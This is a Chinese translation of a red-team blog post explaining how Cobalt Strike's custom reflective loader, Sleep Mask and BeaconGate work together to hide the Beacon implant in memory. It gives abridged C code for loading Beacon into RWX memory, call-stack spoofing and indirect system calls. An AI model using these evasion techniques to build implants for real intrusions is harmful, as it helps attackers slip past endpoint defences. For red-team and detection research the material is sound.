文章总结: 本文详细解析了CobaltStrike的UDRL、SleepMask和BeaconGate三大高级规避功能。UDRL允许自定义反射式加载器,超越MalleableC2限制;SleepMask可在休眠时遮罩Beacon内存;BeaconGate则通过SleepMask代理API调用,增加额外规避层。三者可协同工作,提供更强大的规避能力。文章还展示了如何实现自定义系统调用解析,并预测这些功能将向更简化的方向发展,如可能合并SleepMask和BeaconGate。
综合评分: 94
文章分类: 红队,内网渗透,免杀,渗透测试,二进制安全
CS的UDRL, SleepMask和BeaconGate功能详解
aeverj
红队工坊
2025年11月17日 10:06
北京
翻译自 UDRL, SleepMask, and BeaconGate
过去几天,我一直在研究 Cobalt Strike 的 UDRL、SleepMask 和 BeaconGate 功能。理解这些功能之间的关系花了我不少时间,所以这篇文章的目的是为那些研究 Beacon 这些方面的人提供一个简洁的概览,希望能给开发者一些帮助。这些功能可以单独使用,为 Beacon 的不同部分带来自定义的规避能力,但更有意思的是,它们在某种程度上还可以相互协作。
用户自定义反射式加载器(User-Defined Reflective Loader)
Beacon 本质上就是一个 Windows DLL,需要被加载到进程中才能运行。实现这一点有多种方式,但 Beacon 的设计基于 Stephen Fewer 的[反射式 DLL 注入]https://github.com/stephenfewer/ReflectiveDLLInjection技术。这是一个通过实现自己的 PE 加载器来负责加载自身的 DLL。该 DLL 导出一个名为 ReflectiveLoader 的函数,当这个函数被调用时,它会遍历自己的镜像并将自己的新副本映射到内存中。它必须通过解析导入表、执行重定位等操作来满足 DLL 的运行时需求。然后它定位并执行自己的入口点 DllMain,此时 Beacon 就启动并运行了。
反射式加载器的行为可以通过 Malleable C2 来影响。例如,stage.obfuscate 的功能之一就是指示反射式加载器在将 Beacon 映射到内存时不包含其头部。还有其他选项,比如 stage.allocator 可以改变用于为 Beacon 分配新内存的 API;stage.magic_pe 会覆盖 Beacon NT 头中的 PE 字符标记;stage.stomppe 则指示反射式加载器在将 Beacon 映射到内存后清除 MZ、PE 和 e_lfanew 值。
用户自定义反射式加载器(UDRL,User-Defined Reflective Loader)允许操作者用自己的自定义实现替换 Beacon 的默认反射式加载器。这使他们能够超越 Malleable C2 所暴露的自定义功能。想要使用 stage.allocator 中没有的分配 API?没问题。想要清除比 stage.magic_mz 允许的更多字节?放手去做吧。
这是一个非常基础的 UDRL 结构示例(为简洁起见省略了大量代码)。
extern"C" {
#pragma code_seg(".text$a")
ULONG_PTR __cdecl ReflectiveLoader(){
// 确定加载器的起始地址
#ifdef _WIN64
void* loaderStart = &ReflectiveLoader;
#elif _WIN32
void* loaderStart = (char*)GetLocation() - 0xE;
#endif
// 确定 Beacon DLL 的基地址
ULONG_PTR rawDllBaseAddress = FindBufferBaseAddress();
// 解析 NT 头
PIMAGE_DOS_HEADER rawDllDosHeader = (PIMAGE_DOS_HEADER)rawDllBaseAddress;
PIMAGE_NT_HEADERS rawDllNtHeader = (PIMAGE_NT_HEADERS)(rawDllBaseAddress + rawDllDosHeader->e_lfanew);
// 解析加载器需要的函数
_PPEB pebAddress = GetPEBAddress();
WINDOWSAPIS winApi = { 0 };
if (!ResolveBaseLoaderFunctions(pebAddress, &winApi)) {
returnNULL;
}
// 为 Beacon 分配内存,这里直接用 RWX
ULONG_PTR loadedDllBaseAddress = (ULONG_PTR)winApi.VirtualAlloc(NULL, rawDllNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (loadedDllBaseAddress == NULL) {
returnNULL;
}
// 映射区段
if (!CopyPESections(rawDllBaseAddress, loadedDllBaseAddress)) {
returnNULL;
};
// 解析 Beacon 的导入表...
ResolveImports(rawDllNtHeader, loadedDllBaseAddress, &winApi);
// 执行重定位...
ProcessRelocations(rawDllNtHeader, loadedDllBaseAddress);
// 计算 Beacon 的入口点
ULONG_PTR entryPoint = loadedDllBaseAddress + rawDllNtHeader->OptionalHeader.AddressOfEntryPoint;
// 刷新指令缓存以避免使用过时代码
winApi.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
// 调用 Beacon 的入口点
((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);
((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);
// 将入口点地址返回给调用者
return entryPoint;
}
}
使用 UDRL 时需要注意一个问题:加载的 C2 配置文件的 stage 块中定义的任何选项都将被忽略。这是有意为之,因为 UDRL 的设计理念是让开发者掌控一切。然而,当使用默认的 Sleep Mask 时,这可能会造成混淆,因为它确实会使用 stage.userwx 作为提示来遮罩和解除遮罩 Beacon 内存。例如,如果 stage.userwx 设置为 true,但 UDRL 根据每个区段的需要将内存分配为 R/RW/RX,那么 Sleep Mask 要么无法遮罩所有 Beacon 的区段(使它们保持明文状态),要么会尝试遮罩但会崩溃,因为它不知道需要先将内存设置为可写。
顺便说一句,值得注意的是,这个 UDRL 与 Beacon 用于 fork & run 后渗透命令(execute-assembly、powerpick 等)的反射式加载器不同。操作者可以编写自定义的后渗透 UDRL 来替换默认的(它们几乎相同)。然而,就像自定义 UDRL 会忽略 Malleable C2 的 stage 块中的选项一样;自定义后渗透 UDRL 也会忽略 post-ex 块中的选项。
自定义 Sleep Mask
当同时使用自定义 Sleep Mask 和 UDRL 时,内存分配的问题可以完全得到缓解,因为 UDRL 实际上可以通过 Beacon 将它已分配的内存信息传递给 Sleep Mask。这不仅可以包括为 Beacon 的区段(.data、.text 等)分配的内存,还可以包括开发者希望进行的任何自定义内存分配。
这些数据通过 ALLOCATED_MEMORY_REGION 结构提供。
typedefstruct_ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // 表示已分配内存用途的标签
PVOID AllocationBase; // 已分配内存块的基地址
SIZE_T RegionSize; // 已分配内存块的大小
DWORD Type; // 已分配内存的类型
ALLOCATED_MEMORY_SECTION Sections[8]; // 区段信息结构的数组
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // 清理分配所需的信息
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedefstruct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
然后通过在调用 DLL_BEACON_START 之前,以 DLL_BEACON_USER_DATA 作为”原因”调用 DllMain,将这些数据传递给 Beacon。
// 将 Beacon 用户数据(BUD)传递给 Beacon
((DLLMAIN)entryPoint)(0, DLL_BEACON_USER_DATA, &userData);
// 调用 Beacon 的入口点
((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);
((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);
当 Beacon 准备休眠时,执行流程会传递给 Sleep Mask,同时传递一个 PSLEEPMASK_INFO 结构。
voidsleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)
已分配的内存数据在 BEACON_INFO 结构中可用,可以循环遍历并按需处理。
info->beacon_info.allocatedMemory.AllocatedMemoryRegions
系统调用
开发者还可以用其他东西完全替换 Beacon 的默认系统调用解析器(我认为它基于 SysWhispers3(?))(Hell’s Gate、Halo’s Gate、Tartarus’ Gate、RecycledGate 等)。在 UDRL 中解析系统调用号和函数指针,并填充 SYSCALL_API 和 RTL_API 结构。
typedefstruct {
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
} SYSCALL_API, *PSYSCALL_API;
typedefstruct {
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
然后在上面概述的 DLL_BEACON_USER_DATA 调用中将这些数据传递给 Beacon。一个 SYSCALL_API_ENTRY 条目看起来像这样:
typedefstruct
{
PVOID fnAddr; // Nt* 函数的地址
PVOID jmpAddr; // syscall/FastSysCall/KiFastSystemCall 指令
DWORD sysnum; // 系统调用号
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
如果 C2 配置文件中的 stage.syscall_method 设置为 direct,则使用 fnAddr 值。如果设置为 indirect,则使用 jmpAddr 和 sysnum 值。
BeaconGate
BeaconGate 是一个功能,它指示 Beacon 通过自定义 Sleep Mask 代理受支持的 API 调用。其背后的理念是,Sleep Mask 可以遮罩 Beacon 的内存,设置任何额外的规避功能(例如调用栈欺骗),进行 API 调用,解除对 Beacon 的遮罩,然后将结果传回调用者。
如果配置文件中同时定义了 syscall_method 和 beacon_gate,那么 BeaconGate 将优先。在下面的示例中,只有 VirtualAlloc 将通过 BeaconGate 代理,而其他所有调用将使用间接系统调用。
stage {
set syscall_method "indirect";
beacon_gate {
VirtualAlloc;
}
}
但是,这并不意味着你不能从 BeaconGate 进行系统调用(我们稍后会讨论这一点)。
当 API 调用被代理到 Sleep Mask 时,相关数据保存在 FUNCTION_CALL 结构中。
voidsleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)
typedefstruct {
PVOID functionPtr; // 要调用的函数
WinApi function; // 代表目标 API 的枚举
int numOfArgs; // 参数数量
ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS]; // 包含传递参数的指针数组(例如 rcx、rdx 等)
BOOL bMask; // 指示在调用期间是否应遮罩 Beacon
ULONG_PTR retValue; // 包含返回值的指针
} FUNCTION_CALL, * PFUNCTION_CALL;
处理这些调用的最佳位置可能是 BeaconGateWrapper 函数。使用 WinAPI 枚举检查正在调用哪个 API,并使用你希望的任何技术(VulcanRaven、SilentMoonwalk 等)执行适当的调用栈欺骗。如果你不需要(或不想)使用系统调用(例如因为你在 UDRL 中执行了一些解钩操作),只需在栈欺骗后调用原始函数指针即可。
voidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall){
// 如果需要,遮罩 Beacon
if (functionCall->bMask == TRUE) {
MaskBeacon(&info->beacon_info);
}
// 为请求的 API 进行调用栈欺骗代码
if (functionCall->function == VIRTUALALLOC) {
virtualAllocStackSpoof(functionCall->args);
}
// 执行原始函数指针
BeaconGate(functionCall);
// 如果需要,解除对 Beacon 的遮罩
if (functionCall->bMask == TRUE) {
UnMaskBeacon(&info->beacon_info);
}
return;
}
如果你确实想使用系统调用,可以忽略原始函数指针,直接执行自定义系统调用代码。BeaconGate 仍然可以受益于你在 UDRL 中进行的任何自定义系统调用解析,方法是使用 BeaconGetSyscallInformation BOF API。这将返回一个 PBEACON_SYSCALLS 结构,其中包含你通过 BUD 提供的 PSYSCALL_API 和 PRTL_API。
typedefstruct {
PSYSCALL_API syscalls;
PRTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
需要注意的一点是,这些数据是从 Beacon 复制的,因此必须在 Beacon 被遮罩之前执行。
voidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall){
// 获取自定义系统调用信息
BEACON_SYSCALLS syscall_info;
BeaconGetSyscallInformation(&syscall_info, TRUE);
if (functionCall->bMask == TRUE) {
MaskBeacon(&info->beacon_info);
}
...
}
然后你可以根据需要为正在调用的 API 访问 ssn、直接和间接跳转值。
voidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall){
// 获取自定义系统调用信息
BEACON_SYSCALLS syscall_info;
BeaconGetSyscallInformation(&syscall_info, TRUE);
// 如果需要,遮罩 Beacon
if (functionCall->bMask == TRUE) {
MaskBeacon(&info->beacon_info);
}
if (functionCall->function == VIRTUALALLOC) {
// 设置虚假的调用栈
virtualAllocStackSpoof(functionCall->args);
// 系统调用
prepSyscall(
syscall_info.syscalls->ntAllocateVirtualMemory.sysnum,
syscall_info.syscalls->ntAllocateVirtualMemory.jmpAddr);
functionCall->retValue = doSyscall(functionCall->args);
}
// 如果需要,解除对 Beacon 的遮罩
if (functionCall->bMask == TRUE) {
UnMaskBeacon(&info->beacon_info);
}
return;
}
BOF 系统调用 API
Beacon 还暴露了一组特定的系统调用 API,如 BeaconVirtualAlloc、BeaconVirtualProtect 和 BeaconOpenProcess,供后渗透 BOF 使用。
当你调用这些 API 时,执行将按照 Beacon 的配置进行。如果 Beacon 未配置为使用系统调用,那么它们将作为常规 WinAPI 调用执行;如果配置为使用默认的直接/间接系统调用实现,那么它们将按照 SysWhispers3(?)执行;如果你从 UDRL 传入了自定义系统调用数据,那么它们将按照你的自定义解析方法执行;如果配置为使用 BeaconGate,调用将被代理到你的 Sleep Mask。
对于使用这些常见 API 的 BOF,这为你节省了在所有后渗透 BOF 之间重复相同的系统调用和/或调用栈欺骗代码的工作。
结论
我认为这篇文章涵盖了我想强调的关于 UDRL、SleepMask 和 BeaconGate 的主要内容。如果这些功能看起来太可怕或太复杂而不敢使用,我希望这篇文章能提供一些说明。一旦你理解了它们,它们并不太难。
随着 BeaconGate 的发展和普及,我预计我们将看到开发团队在简化这些功能的某些方面做出一些努力。例如,当前的直接/间接系统调用可能会在当前状态下被弃用,转移到 Sleep Mask 中,并默认通过 BeaconGate 代理。我们甚至可能看到 SleepMask 和 BeaconGate 合并为一个名称。SleepGate?😅
另一个合理的进展可能是让 BOF 开发者能够通过 BeaconGate 代理任意 API 调用,而不仅仅是目前支持的约 20 个。这将允许 BOF 受益于 BeaconGate 的规避能力,而无需 BOF 本身进行任何繁重的工作。
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队工坊 aeverj《CS的UDRL, SleepMask和BeaconGate功能详解》